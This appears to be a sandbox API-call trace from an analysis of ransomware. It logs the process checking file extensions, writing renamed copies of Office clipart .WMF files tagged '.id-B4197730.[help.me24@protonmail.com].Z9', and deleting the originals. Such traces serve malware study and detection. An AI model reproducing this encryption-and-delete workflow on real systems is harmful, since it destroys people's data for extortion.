	[0085.530] lstrlenW (lpString=".doc") returned 4
	[0085.530] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.530] lstrlenW (lpString=".docx") returned 5
	[0085.530] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.530] lstrlenW (lpString=".pdf") returned 4
	[0085.530] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.530] lstrlenW (lpString=".xls") returned 4
	[0085.530] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.530] lstrlenW (lpString=".xlsx") returned 5
	[0085.530] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.530] lstrlenW (lpString=".ppt") returned 4
	[0085.530] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68
	[0085.530] lstrlenW (lpString=".zip") returned 4
	[0085.530] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.530] lstrlenW (lpString=".rar") returned 4
	[0085.530] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.531] lstrlenW (lpString=".bz2") returned 4
	[0085.531] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.531] lstrlenW (lpString=".7z") returned 3
	[0085.531] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68
	[0085.531] lstrlenW (lpString=".dbf") returned 4
	[0085.531] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68
	[0085.531] lstrlenW (lpString=".1cd") returned 4
	[0085.531] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68
	[0085.531] lstrlenW (lpString=".jpg") returned 4
	[0085.531] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.531] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0085.531] lstrlenW (lpString="BL00247_.WMF") returned 12
	[0085.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0085.532] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=14444) returned 1
	[0085.532] CloseHandle (hObject=0x394) returned 1
	[0085.532] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf")) returned 0x220
	[0085.532] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0085.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0085.532] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.532] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0085.533] GetLastError () returned 0x0
	[0085.533] ReadFile (in: hFile=0x394, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x386c, lpOverlapped=0x0) returned 1
	[0085.535] WriteFile (in: hFile=0x2bc, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x3870, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x3870, lpOverlapped=0x0) returned 1
	[0085.536] ReadFile (in: hFile=0x394, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.536] WriteFile (in: hFile=0x2bc, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0085.537] SetEndOfFile (hFile=0x2bc) returned 1
	[0085.537] CloseHandle (hObject=0x2bc) returned 1
	[0085.538] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.538] SetEndOfFile (hFile=0x394) returned 1
	[0085.539] CloseHandle (hObject=0x394) returned 1
	[0085.539] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0085.540] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf")) returned 1
	[0085.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68
	[0085.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68
	[0085.540] lstrlenW (lpString=".doc") returned 4
	[0085.540] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.540] lstrlenW (lpString=".docx") returned 5
	[0085.540] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.540] lstrlenW (lpString=".pdf") returned 4
	[0085.540] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.540] lstrlenW (lpString=".xls") returned 4
	[0085.540] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.540] lstrlenW (lpString=".xlsx") returned 5
	[0085.541] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.541] lstrlenW (lpString=".ppt") returned 4
	[0085.541] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68
	[0085.541] lstrlenW (lpString=".zip") returned 4
	[0085.541] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.541] lstrlenW (lpString=".rar") returned 4
	[0085.541] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.541] lstrlenW (lpString=".bz2") returned 4
	[0085.541] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.541] lstrlenW (lpString=".7z") returned 3
	[0085.541] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68
	[0085.541] lstrlenW (lpString=".dbf") returned 4
	[0085.541] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68
	[0085.541] lstrlenW (lpString=".1cd") returned 4
	[0085.541] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68
	[0085.541] lstrlenW (lpString=".jpg") returned 4
	[0085.541] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68
	[0085.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68
	[0085.541] lstrlenW (lpString=".doc") returned 4
	[0085.541] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.541] lstrlenW (lpString=".docx") returned 5
	[0085.542] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.542] lstrlenW (lpString=".pdf") returned 4
	[0085.542] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.542] lstrlenW (lpString=".xls") returned 4
	[0085.542] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.542] lstrlenW (lpString=".xlsx") returned 5
	[0085.542] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.542] lstrlenW (lpString=".ppt") returned 4
	[0085.542] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68
	[0085.542] lstrlenW (lpString=".zip") returned 4
	[0085.542] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.542] lstrlenW (lpString=".rar") returned 4
	[0085.542] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.542] lstrlenW (lpString=".bz2") returned 4
	[0085.542] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.542] lstrlenW (lpString=".7z") returned 3
	[0085.542] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68
	[0085.542] lstrlenW (lpString=".dbf") returned 4
	[0085.542] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68
	[0085.542] lstrlenW (lpString=".1cd") returned 4
	[0085.542] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68
	[0085.542] lstrlenW (lpString=".jpg") returned 4
	[0085.542] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.543] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0085.543] lstrlenW (lpString="BL00248_.WMF") returned 12
	[0085.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0085.543] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=1536) returned 1
	[0085.543] CloseHandle (hObject=0x394) returned 1
	[0085.543] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf")) returned 0x220
	[0085.543] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0085.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0085.544] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.544] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0085.544] GetLastError () returned 0x0
	[0085.544] ReadFile (in: hFile=0x394, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x600, lpOverlapped=0x0) returned 1
	[0085.866] WriteFile (in: hFile=0x2bc, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x610, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x610, lpOverlapped=0x0) returned 1
	[0085.881] ReadFile (in: hFile=0x394, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.881] WriteFile (in: hFile=0x2bc, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0085.882] SetEndOfFile (hFile=0x2bc) returned 1
	[0085.882] CloseHandle (hObject=0x2bc) returned 1
	[0085.882] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.883] SetEndOfFile (hFile=0x394) returned 1
	[0085.883] CloseHandle (hObject=0x394) returned 1
	[0085.883] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0085.884] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf")) returned 1
	[0085.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68
	[0085.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68
	[0085.884] lstrlenW (lpString=".doc") returned 4
	[0085.884] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.884] lstrlenW (lpString=".docx") returned 5
	[0085.884] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.884] lstrlenW (lpString=".pdf") returned 4
	[0085.884] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.884] lstrlenW (lpString=".xls") returned 4
	[0085.884] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.884] lstrlenW (lpString=".xlsx") returned 5
	[0085.884] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.884] lstrlenW (lpString=".ppt") returned 4
	[0085.884] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68
	[0085.884] lstrlenW (lpString=".zip") returned 4
	[0085.884] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.885] lstrlenW (lpString=".rar") returned 4
	[0085.885] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.885] lstrlenW (lpString=".bz2") returned 4
	[0085.885] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.885] lstrlenW (lpString=".7z") returned 3
	[0085.885] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68
	[0085.885] lstrlenW (lpString=".dbf") returned 4
	[0085.885] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68
	[0085.885] lstrlenW (lpString=".1cd") returned 4
	[0085.885] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68
	[0085.885] lstrlenW (lpString=".jpg") returned 4
	[0085.885] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68
	[0085.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68
	[0085.885] lstrlenW (lpString=".doc") returned 4
	[0085.885] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.885] lstrlenW (lpString=".docx") returned 5
	[0085.885] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.885] lstrlenW (lpString=".pdf") returned 4
	[0085.885] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.885] lstrlenW (lpString=".xls") returned 4
	[0085.885] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.885] lstrlenW (lpString=".xlsx") returned 5
	[0085.885] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.885] lstrlenW (lpString=".ppt") returned 4
	[0085.885] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68
	[0085.885] lstrlenW (lpString=".zip") returned 4
	[0085.885] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.885] lstrlenW (lpString=".rar") returned 4
	[0085.886] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.886] lstrlenW (lpString=".bz2") returned 4
	[0085.886] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.886] lstrlenW (lpString=".7z") returned 3
	[0085.886] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68
	[0085.886] lstrlenW (lpString=".dbf") returned 4
	[0085.886] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68
	[0085.886] lstrlenW (lpString=".1cd") returned 4
	[0085.886] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68
	[0085.886] lstrlenW (lpString=".jpg") returned 4
	[0085.886] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.886] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0085.886] lstrlenW (lpString="BL00390_.WMF") returned 12
	[0085.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0085.887] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=13102) returned 1
	[0085.887] CloseHandle (hObject=0x394) returned 1
	[0085.887] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf")) returned 0x220
	[0085.887] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0085.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0085.887] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.887] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0085.888] GetLastError () returned 0x0
	[0085.888] ReadFile (in: hFile=0x394, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x332e, lpOverlapped=0x0) returned 1
	[0085.889] WriteFile (in: hFile=0x2bc, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x3330, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x3330, lpOverlapped=0x0) returned 1
	[0085.890] ReadFile (in: hFile=0x394, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.890] WriteFile (in: hFile=0x2bc, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0085.891] SetEndOfFile (hFile=0x2bc) returned 1
	[0085.891] CloseHandle (hObject=0x2bc) returned 1
	[0085.918] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.918] SetEndOfFile (hFile=0x394) returned 1
	[0085.952] CloseHandle (hObject=0x394) returned 1
	[0085.952] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0085.953] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf")) returned 1
	[0085.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68
	[0085.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68
	[0085.953] lstrlenW (lpString=".doc") returned 4
	[0085.953] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.953] lstrlenW (lpString=".docx") returned 5
	[0085.953] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.953] lstrlenW (lpString=".pdf") returned 4
	[0085.953] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.953] lstrlenW (lpString=".xls") returned 4
	[0085.953] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.953] lstrlenW (lpString=".xlsx") returned 5
	[0085.953] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.953] lstrlenW (lpString=".ppt") returned 4
	[0085.953] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68
	[0085.953] lstrlenW (lpString=".zip") returned 4
	[0085.953] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.954] lstrlenW (lpString=".rar") returned 4
	[0085.954] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.954] lstrlenW (lpString=".bz2") returned 4
	[0085.954] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.954] lstrlenW (lpString=".7z") returned 3
	[0085.954] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68
	[0085.954] lstrlenW (lpString=".dbf") returned 4
	[0085.954] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68
	[0085.954] lstrlenW (lpString=".1cd") returned 4
	[0085.954] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68
	[0085.954] lstrlenW (lpString=".jpg") returned 4
	[0085.954] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68
